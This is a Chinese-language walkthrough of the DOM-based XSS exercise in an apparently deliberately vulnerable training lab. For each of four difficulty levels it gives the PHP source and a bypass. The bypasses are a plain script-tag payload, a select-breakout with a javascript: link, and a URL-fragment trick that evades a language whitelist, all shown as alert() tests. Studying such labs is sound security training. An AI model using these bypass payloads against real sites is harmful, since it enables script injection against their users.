DOM型XSS是基于DOM文档对象模型的一种漏洞
通过 HTML DOM,树中的所有节点均可通过 JavaScript 进行访问。所有 HTML 元素(节点)均可被修改,也可以创建或删除节点。(引用W3C)
因为可以在DOM树中植入js代码,因此造成了XSS-DOM漏洞,所以DOM类型的XSS可能是反射型也可能是储存型
Low
<?php # No protections, anything goes ?>
没有PHP代码,直接看前端
构造payload
?default=<script>alert('xss')</script
成功执行
Medium
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?>
stripos函数 找查字符在字符串中第一次出现的位置
如果$default 出现<script,则默认?default=English
我们可以用采用JavaScript伪协议
?default=</option></select><a href="javascript:alert('xss')">test</a>
High
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
switch语句选出了对应的结果(白名单),其他的字符默认为English
payload :
?default=English #<script>alert(/xss/)</script>
因为在URL栏中#之后的字符不会提交到服务器,就实现绕过白名单
Impossible
<?php # Don't need to do anything, protction handled on the client side ?>
不需要做任何事情,在客户端处理保护
测试输入 <script>alert('xss')</script>
被解释URL编码,从而防止js代码执行